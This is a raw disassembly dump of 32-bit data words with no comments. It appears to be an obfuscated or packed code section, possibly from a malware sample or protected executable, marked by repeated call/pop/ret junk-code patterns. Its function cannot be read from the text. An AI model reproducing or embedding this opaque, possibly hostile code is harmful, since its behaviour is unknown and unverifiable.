		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 11E8C08Bh, 0BE000000h, 3880ED75h
		dd 0B6BF6ED9h, 9439751h, 40B3A326h, 70DB8166h, 0B5315F42h
		dd 61224D1h, 25850B60h,	8B061204h, 120FE59Dh, 0BD836106h
		dd 6122E5Dh, 4F850F03h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 6680C350h
		dd 860F7103h, 1, 7FBD83F8h, 615BDh, 41C840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 948E3BC3h, 0E8942D33h, 0FFC8D201h, 15BD7FB5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BF0FD9DBh, 0B195FFDEh, 6A061213h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 57D9C357h
		dd 27BFE792h, 295A1AE9h, 12346D8Dh, 73B58B06h, 6A0615BDh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 5FEC351h,	7E75A972h, 987818E5h, 24458529h
		dd 6C70612h, 10001h, 13E8h, 20380100h, 51D0806h, 0BE6C8BDFh
		dd 37DCBEF5h, 64AB9C4Bh, 350D8D89h, 965F0612h, 58F0Fh
		dd 0AEBF0000h, 505DA746h, 8B665250h, 0BF310FFEh, 3C851B21h
		dd 6A96585Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5C8DC357h, 344EC062h, 8B655194h
		dd 1225D9BDh, 6E85006h,	42000000h, 78C933F0h, 5F5F56B3h
		dd 7FB5FF5Bh, 6A0615BDh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 4E94C356h, 0BD8B9380h
		dd 6120B19h, 10DD95FFh,	8D290612h, 61200C9h, 0BD73B58Bh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 22AEEDC3h, 8B618283h, 12231185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BD2B64DDh, 6121719h, 0C48689h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 9A0A44C3h
		dd 0E5A3BF66h, 2791958Bh, 0B5890612h, 6122A29h,	6A04C283h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 8311C352h, 4F3D263Bh, 0EAA4411Bh,	2B8D8589h
		dd 50890612h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0DA98F548h, 13E8h, 0B98E0600h, 933055A7h
		dd 0F774F613h, 425E5C89h, 0F36B4087h, 8D5B9AB3h, 15D32B85h
		dd 85296006h, 612121Dh,	2B75BD8Bh, 89610612h, 0B886h, 8E900h
		dd 530B0000h, 0C7652E27h, 6A9642h, 0B5FFD98Bh, 615BD7Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3CC35646h
		dd 95FFABB3h, 6121621h,	14C19D8Bh, 66500612h, 3489F88Bh
		dd 3D8D3124h, 0FF06122Dh, 15BD7FB5h, 9FEB8106h,	0FF613D69h
		dd 12033D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 7E99C7Ah,	0CC000000h, 0E7A7ABDDh
		dd 0BD83DF48h, 61224CDh, 16840F00h, 89000000h, 1227058Dh
		dd 95B39606h, 48A0F50h,	50000000h, 965B6160h, 7FB5FFF5h
		dd 6A0615BDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 7216C352h, 538E009Ch, 619D8BB8h
		dd 6606122Dh, 93DDEB81h, 2AE995FFh, 14E90612h, 0B3000000h
		dd 48BAEEFCh, 0AEB3D138h, 7AAE3508h, 681188B1h,	0F11BC05h
		dd 385h, 0FE8B6600h, 0BD7FB5FFh, 8B600615h, 122E2595h
		dd 43C4B806h, 66611687h, 95FFF88Bh, 6120529h, 45BD83F9h
		dd 2061214h, 64840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0AFF9EFC3h, 5F096A80h
		dd 59501D1h, 8B061210h,	122A2585h, 0DCBF6606h, 0C6B8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B2C35747h
		dd 65AD161h, 0CFA161E2h, 0D6F0BB66h, 14499D8Bh,	85C70612h
		dd 6123031h, 0
		dd 11E9h, 9EF7D300h, 822F22A2h,	34AF6D55h, 0C6BBE407h
		dd 10E9B6FFh, 29FFFFF4h, 1227A5B5h, 0FC18B06h, 680h, 0D19D8B00h
		dd 8D061203h, 12016985h, 9B35106h, 5E8905Bh, 0BC000000h
		dd 610189F2h, 3A58BB66h, 30B3505Fh, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 6AA88Fh, 8E9h
		dd 3DF16E00h, 0B0BD8FE0h, 6A006AFDh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A7DFC357h
		dd 2F796EEBh, 9D314B53h, 61214B9h, 8DF8B70Fh, 169BAC85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0CF8D2191h, 0C23E7019h, 266D9509h, 0DF8B0612h
		dd 8905C083h, 12252DBDh, 70B79006h, 0BE86050h, 5000000h
		dd 79D6BEAh, 5EF98C37h,	0BFBFE2D5h, 5B668EC9h, 6A9061h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0A821F2C3h, 4870Fh, 0BF660000h, 6AEAA0h, 6AF8BF0Fh
		dd 0FF56B700h, 1204AD95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 8672D060h
		dd 29E138F8h, 8D8DC6C9h, 6159D1Ah, 16840Fh, 11E90000h
		dd 0D6000000h, 55084E8Ch, 7F594DDBh, 9F881F92h,	806A31BFh
		dd 8E9h, 80C6F200h, 0C9CCCEDBh,	83D1FF43h, 121FE9BDh, 850F0106h
		dd 0BDh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	4C35040h, 48BC66E3h, 0BD8B201Ah, 61219B9h, 6A026Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 4011D0C3h, 0A7ADBA15h, 668FCB49h, 0DDADB81h,	0B850Fh
		dd 800F0000h, 5, 1ADF8166h, 8B66502Fh, 240489DEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DC35141h, 8E8h
		dd 10931F00h, 2E3588B5h, 0FF5FF84Bh, 12162195h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 3FBBEB42h, 0E70E9EFh, 0E80000h, 5D000000h, 9BB6ED81h
		dd 9D8B0616h, 6122465h,	66C38B60h, 6181DAB9h, 51A6A6BFh
		dd 0CA858D10h, 0E9061595h, 10h,	1045ECF6h, 0B663897h, 0BFA92C14h
		dd 0F6EABE5Bh, 66525090h, 310FFA8Bh, 7A8111BFh,	50585A1Eh
		dd 35FF6490h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 5EC35343h
		dd 709ACB9Eh, 0BD898FC9h, 6121A39h, 2369B529h, 89640612h
		dd 25h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh,	24448104h
		dd 1A04h, 0C3554500h, 0B27F3979h, 8B289BD2h, 121B159Dh
		dd 0BE806h, 245F0000h, 0CCBB3A49h, 2DB757A4h, 61605130h
		dd 85FF5F5Bh, 612136Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0AEC35343h, 0D94D5B04h, 6D9589A9h, 89061233h
		dd 122AEDB5h, 29FF6A06h, 1230A595h, 0A5B5FF06h,	0B06122Eh
		dd 1231899Dh, 0C995FF06h, 0E9061235h, 15Ah, 2B6D9D8Bh
		dd 8D010612h, 6120545h,	0DF8B00B0h, 8B6670E6h, 0F71E4D8h
		dd 38Fh, 0DAB70F00h, 830F613Ch,	132h, 0B61BD8Bh, 0B60F0612h
		dd 55F781C8h, 8B740A1Dh, 120A399Dh, 6BA06h, 0BD890000h
		dd 612235Dh, 10E8C18Bh,	5B000000h, 0C95E453Ah, 0ABF4E17Dh
		dd 605F12DCh, 0E9254BCEh, 12h, 6C08BFE0h, 8F7A8425h, 5F520437h
		dd 57269A0h, 0C15FF57Eh, 8B6604E8h, 0E2F766DAh,	23F1BD03h
		dd 870F0612h, 2, 0C82BFE8Bh, 10E9h, 6B278600h, 0E8F518D8h
		dd 0CDCB5798h, 99905E7Ah, 0FCD18B3Dh, 9999D89h,	5E90612h
		dd 57000000h, 5FFE8B66h, 29CD858Bh, 13E80612h, 0F5000000h
		dd 0D7B95Eh, 62ED2FB3h,	99F22C67h, 0D505F32Fh, 9D8961A7h
		dd 612121Dh, 7C0835Fh, 6C5278BBh, 0C08345h, 3E99D31h, 0D03B0612h
		dd 18830Fh, 8E90000h, 0FF000000h, 0D913ACDDh, 0E95EE187h
		dd 52h,	0B7EADB81h, 8D8B7236h, 61211B5h, 0EE8h,	0E8610B00h
		dd 26BB8444h, 974D01BDh, 8B15F54Fh, 1211CD9Dh, 0E1835B06h
		dd 23840F01h, 29000000h, 1205059Dh, 0B5A58306h,	0FE061211h
		dd 9A7DE1BBh, 0CD958943h, 8B061229h, 1215E19Dh,	0E906h
		dd 0B58D0000h, 6161785h, 6AE1F780h, 61BD8900h, 0FF06122Eh
		dd 12247595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 6A9178C7h, 0B66C6360h, 9D8BD570h
		dd 61226DDh, 835B9h, 13E900h, 0B4720000h, 0CB5FE38Bh, 90C1BC55h
		dd 0AE323942h, 0F70187B9h, 0FCE1838Ch, 981BB7BBh, 2BF5FC4Fh
		dd 0BAFC8AC0h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 8BC35141h
		dd 2113D4BDh, 1A119D8Bh, 10BB0612h, 0AD29BE14h,	0E8D1C233h
		dd 0E983D003h, 8BF47504h, 123121BDh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BEE73D4Eh
		dd 43840C5Eh, 880Dh, 499D8B00h,	8B061222h, 12279195h, 9D8B5306h
		dd 612213Dh, 398D8B5Bh,	6A061234h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0FC13C352h
		dd 0BC59B84Eh, 0F76AAEE5h, 50FAB70Fh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E4C5E68Ch
		dd 92995F41h, 0BFCF81A9h, 89392F3Fh, 12354D8Dh,	2DBD8306h
		dd 61204h, 3F840Fh, 0D98B0000h,	0B8h, 8DF98A00h, 1250658Dh
		dd 4800F06h, 52000000h,	0FF5F5F57h, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 20E95C42h
		dd 0BD85F9BBh, 5DBD8315h, 6122Eh, 50B840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 89826BC3h, 122D9985h, 5DBD8306h, 106122Eh, 4F6840Fh
		dd 10E90000h, 0B3000000h, 93BABB48h, 0DE9B58DDh, 5E847995h
		dd 83F0B0FAh, 122E5DBDh, 860F0306h, 49Eh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 77C35343h, 8EB3B107h
		dd 0DAB70F3Ch, 50006A60h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 7514721Eh, 578E5CBFh
		dd 0D98C664Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	2CC35343h, 4F49135Ch, 4E307AF7h, 0C18D0124h, 0E9061214h
		dd 0Bh,	9A03FE6h, 57994A95h, 80F78052h,	0EF8004E1h, 0B2DB815Eh
		dd 0A02105Dh, 78840FC9h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5710C352h
		dd 7E4FDA13h, 1A89858Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 65ED18C3h, 1205BD89h
		dd 85330612h, 612143Dh,	3870Fh,	0B70F0000h, 858D89FEh
		dd 5006121Ch, 0BE9h, 0D0209200h, 16BD2DB2h, 2F8F6245h
		dd 0F240489h, 6AFFBFh, 111D9D8Bh, 0FB8B0612h, 4E8h, 1F03FF00h
		dd 505F5600h, 2800Fh, 0D98A0000h, 424448Bh, 14E8h, 0B0626C00h
		dd 0B262A688h, 61AEAA97h, 0A4C797F5h, 13FE9D60h, 0A41ABFB3h
		dd 8B5F0969h, 24448900h, 49BF6604h, 6A5809h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 196417C3h
		dd 5D95FFAFh, 6A061232h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0CFE4C353h,	0DDC06716h
		dd 10E8h, 0A93B9C00h, 0C0C0D46Ch, 0CC3D65FCh, 1A995766h
		dd 0FE8B66A7h, 7F85895Fh, 6A0615BDh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6BA0C355h
		dd 47E7BC93h, 8B527506h, 12097D9Dh, 0BD895F06h,	6123541h
		dd 220E9h, 0BE800h, 0C0540000h,	23D22A40h, 236B1089h, 0C1BD01B0h
		dd 5F06120Fh, 8B56EB80h, 15BD7785h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 800F601Ah
		dd 5, 83C28166h, 95896161h, 6120091h, 1800C7h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5B28F8C3h, 3A2FEAE1h, 10E8h,	56554500h, 99F1F2D4h, 0BCC98FACh
		dd 6F2B375h, 0B5BD8B4Ah, 5B061213h, 0BD7BB58Bh,	0B70F0615h
		dd 49858BFAh, 6A06122Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0BBF8C353h,	37BE68Ah
		dd 0AE3ADAB4h, 4850FF8h, 66000000h, 897AEABBh, 0DE906h
		dd 360A0000h, 0F761A067h, 8BE18A6Ch, 8995237Eh,	120C31B5h
		dd 89858B06h, 8106121Ah, 426928EBh, 446896Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 6C35343h, 0EE4E1AB6h
		dd 0B5894AD4h, 6121AB1h, 0AFBB6696h, 0BB66500Dh, 6A96C391h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 3B10C355h, 0B8943DFDh, 8E0F89AFh,	4, 15DBB66h
		dd 7AB0BB66h, 0BD77B5FFh, 89560615h, 1234B9B5h,	4A685B06h
		dd 52844DFBh, 815BDA8Bh, 8B52404h, 6A7BD1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0AD49F1C3h
		dd 11E88D34h, 7A000000h, 0D60656B7h, 8EE11756h,	0F8B072A2h
		dd 75EF85B2h, 1B49BD8Bh, 8D5F0612h, 15BD7F85h, 90D88A06h
		dd 90FD8A50h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	0E2C35040h, 0D6C5085Eh,	0E1EC52CBh, 11BD0B55h
		dd 0F061205h, 685h, 0C9BD8900h,	0FF06121Bh, 12325D95h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6A61A5h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD8B87C3h, 6121C85h, 2E5D85C7h
		dd 30612h, 0B5890000h, 6122129h, 0BD7FBD83h, 0F000615h
		dd 4584h, 11E900h, 0CBB30000h, 86BD9D59h, 2BB5C5F1h, 79305B69h
		dd 0E95F2549h, 45h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0E5C35242h, 0BD8B8954h, 6120165h, 23F1BD0Bh
		dd 30500612h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 5D8D019Ah, 6A06122Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 63A1C355h
		dd 0A3B54DFFh, 9D890B48h, 6120CADh, 2E5DBD83h, 0F030612h
		dd 45085h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 5151E804h, 0BD7FBD83h, 0F000615h
		dd 42484h, 28D0F00h, 8B000000h,	7FB5FFDAh, 6A0615BDh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0B5D3C350h, 0E8554949h, 7, 0E2D0700Bh, 8B7DFDFBh, 1233799Dh
		dd 95FF5F06h, 61213B1h,	6EFCBF66h, 0BD73B58Bh, 6A0615h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 5EA584C3h, 3E46C9A9h, 6C7C258h, 10001h, 10E8h, 1CD42800h
		dd 58FB5F93h, 55E61C59h, 2A09EFE9h, 999D8B51h, 5F061219h
		dd 505F5696h, 0E8CFB060h, 0Ah, 781C4BB7h, 0CE1F288Ch, 840F9FC8h
		dd 0
aAcj		db '[a–j',0
		db 55h,	0E8h, 3
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 274AC355h, 190CC9BFh, 5E95847h, 0EE000000h, 0E804C546h
		dd 0BD7FB5FFh, 0B5890615h, 61204DDh, 10DD95FFh,	80600612h
		dd 8B613FE2h, 15BD73B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0B563B7ADh, 1F6381D9h
		dd 11858B53h, 89061223h, 0C486h, 513DBB00h, 0BF0F333Dh
		dd 91958BF9h, 6A061227h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0F99DC351h,	8D01CB6Dh
		dd 6122A35h, 25258529h,	0C2830612h, 8E904h, 73A50000h
		dd 0DAEC3D45h, 5089C402h, 50006A20h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 8531A097h
		dd 574BC2ECh, 31599D8Bh, 8D5F0612h, 15D32B85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 891F8D71h, 0B886h, 6E900h, 8FD60000h, 418DAB53h, 2831F781h
		dd 6A38B6h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Bh,	49C35545h, 1554E23h, 8BA34FB5h,	1226D5BDh, 0B5896006h
		dd 6121AD9h, 2840Fh, 0C38B0000h, 7FB5FF61h, 6A0615BDh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 66CDC355h, 8F37EF81h, 162195FFh, 85090612h
		dd 6120F31h, 0FA8B6650h, 6A243489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8914C355h
		dd 1211F59Dh, 7FB5FF06h, 8B0615BDh, 3D95FFFBh, 6A061203h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 12E7C356h, 890F9528h, 6, 1471B589h, 0BD830612h
		dd 61224CDh, 41840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0B52C352h
		dd 90291C0h, 8B7665A7h,	525050D9h, 310F5250h, 310F585Ah
		dd 0E90BBFBFh, 89585A32h, 9D092434h, 6123419h, 0BD7FB5FFh
		dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 9F1B7DC3h, 0D38166E8h, 95FFC8ADh,	6122AE9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 73C35646h
		dd 1ECA4233h, 0A5746C49h, 319D23CEh, 0FF06122Eh, 15BD7FB5h
		dd 0B5958906h, 0FF06120Fh, 12052995h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0C04C0979h, 4190D688h, 45BD8353h, 2061214h, 5A840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0BD93FC3h, 0D69345C1h, 8B418779h,	122A2585h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0E7818841h, 59950AFFh, 8B0000C6h, 1234B1BDh
		dd 0D8B70F06h, 303185C7h, 612h,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 29E803C3h
		dd 122CE995h, 0F2E3E906h, 6AFFFFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0C9C53DC3h, 0B7DE6D0Ah
		dd 0F3802C5Ah, 6AC18BDDh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4760C351h, 10E929h
		dd 970A0000h, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh,	858D1701h
		dd 6120169h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	91C35343h, 0CDFE2F2Eh, 0EE9h, 0D23C3100h, 0C6B08035h
		dd 0F92816D6h, 604296C2h, 11E8h, 35991800h, 0E276E705h
		dd 0DCA3E9F1h, 61A3DCEAh, 0C28A0DD0h, 0C6E48058h, 0BB665061h
		dd 4897C68h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 4711A1h, 9619589h, 0BD890612h, 6122201h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0CCDB8EC3h, 6AF88Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 87C35242h, 3C1F263Dh, 88406E00h
		dd 9BD8956h, 8D061210h,	16AC2985h, 95BD2306h, 8306121Bh
		dd 0C78005C0h, 5E850E6h, 8D000000h, 0EC3FC298h,	1CC8BF66h
		dd 2404895Fh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	6C35747h, 0AF66549Ch, 6AD8BF0Fh, 0E19D8B00h, 6A06122Ah
		dd 7E800h, 75950000h, 0D45BCD92h, 95FF5FA1h, 61204ADh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0E1C35545h
		dd 4EF7836Dh, 9D1A8D8Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 4049DAC3h, 0E95B4D1Dh
		dd 0Ch,	7C95337Ch, 1363D5B9h, 0EA76FF86h, 0EB81D1FFh, 7D496C00h
		dd 1981BD8Bh, 0BD830612h, 6121FE9h, 57850F01h, 0F9000000h
		dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0BFF180C3h, 4D051B53h, 2ACB8166h,	48950B7h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8A55822Fh, 2195FFFDh, 0F061216h,	91E9D9B7h
		dd 0E800000Eh, 0
		dd 33ED815Dh, 0BF0616ACh, 4433706Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 91C35545h, 8A017042h, 10F5B589h
		dd 0BD090612h, 6122371h, 95CA858Dh, 8C0F0615h, 6, 3D9589h
		dd 50500612h, 13E952h, 69A90000h, 0DDD051F9h, 0B4C2F707h
		dd 0C5E242DBh, 0F3B3A438h, 0E8310F49h, 12h, 5FAB9520h
		dd 0D2B7C6C3h, 8C44B0EEh, 108220D4h, 10E9F96Ah,	0D9000000h
		dd 0EAC77D3Fh, 66021C15h, 68030F3Dh, 5F2DC097h,	489585Ah
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 78917644h, 860FABh, 29000000h, 122EC9BDh
		dd 35FF6406h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9FC35242h
		dd 0D8D60014h, 14E91Dh,	5250000h, 0F40B8617h, 0DF1E2845h
		dd 67BE4E6Ah, 0AA3E88B8h, 890FA19Fh, 4,	0C466BF66h, 258964h
		dd 60000000h, 18880Fh, 13E90000h, 42000000h, 0CD07A97h
		dd 0C991A976h, 3BDB7BDEh, 0FC4FC81Eh, 0B58BAD6Ah, 612050Dh
		dd 6D85FF61h, 6A061213h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 73ACC351h, 2F519D8Bh
		dd 0BE90612h, 0F4000000h, 0A843E8B6h, 0D7D903CEh, 0FF6A71A0h
		dd 0F38B6660h, 13E9h, 99DD5A00h, 0D7F63480h, 40094577h
		dd 71AB77DDh, 2C6F3D86h, 0FFD98B61h, 123219B5h,	0F800F06h
		dd 0E9000000h, 0Ah, 5EF4CED3h, 0DB9416EAh, 95FFD562h, 61235C9h
		dd 0F6E9h, 0BD8B5200h, 6122AEDh, 0BB00B05Bh, 20FC9A16h
		dd 0BF6670E6h, 71E49AEAh, 613C2BB3h, 0D5830Fh, 23600000h
		dd 122FD185h, 0F61F806h, 8D31C8B6h, 61226EDh, 1BA9BD8Bh
		dd 6BA0612h, 8B000000h,	88BF66C1h, 55BD8B9Eh, 0C106121Ah
		dd 0BB04E8h, 8B18FDB6h,	0E2F766DAh, 3215B589h, 9D8B0612h
		dd 6123239h, 8D89C82Bh,	6121A71h, 0E9FCD18Bh, 5, 0FBC026BFh
		dd 0E1858B2Fh, 51061232h, 2BB1BD2Bh, 835F0612h,	0B75007C0h
		dd 0C0835F32h, 899D8900h, 106120Fh, 1202A1B5h, 0FD03B06h
		dd 1183h, 0D9958900h, 0E9061220h, 47h, 9A79E381h, 8D8B4B8Ch
		dd 6121349h, 15D99D29h,	0E1830612h, 2C840F01h, 50000000h
		dd 30458D89h, 335F0612h, 120A6DBDh, 49A58306h, 0FE061213h
		dd 0AB15D381h, 958964C1h, 61232E1h, 12458531h, 0E90612h
		dd 8D000000h, 1621ACB5h, 0EE806h, 63830000h, 459362E1h
		dd 0CE87A01Dh, 7282FAC0h, 2049BD89h, 6A5B0612h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 67D38CD1h, 0B963DB7h, 9D098D64h, 6120FEDh, 7E8h, 77F0C600h
		dd 3A957964h, 95FF5BF5h, 6122475h, 0BE8h, 3FECB000h, 83962596h
		dd 592AC196h, 68F0Fh, 0B5890000h, 6122D4Dh, 6E9B95Bh, 9E90000h
		dd 65000000h, 22E261C5h, 5B66C8EFh, 23719D8Bh, 0E1830612h
		dd 10E8FCh, 1B7D0000h, 1462E89Fh, 4A988565h, 7E5C70Eh
		dd 0FC5FFA8Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	82C35747h, 0B8h, 2BD98B00h, 6D8529D2h, 0AD061211h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 7867C355h
		dd 7778CD31h, 0E86C8C5Ch, 8, 92917032h,	8EA21211h, 1191B589h
		dd 8B5F0612h, 1215399Dh, 880D06h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0A31798C3h
		dd 5619D8Bh, 95890612h,	6121541h, 2791958Bh, 12E90612h
		dd 0F2000000h, 74501B60h, 0A15D9DB9h, 11CAD7F3h, 119BE1BAh
		dd 398D8BF9h, 6A061234h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 2232C355h, 0E7808EDFh
		dd 0C28B505Dh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0F8BAC351h, 0BEF3327Ch, 0F59D8B32h, 6A061203h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 83D7C352h, 12042DBDh, 840F0006h, 96h, 0E857006Ah
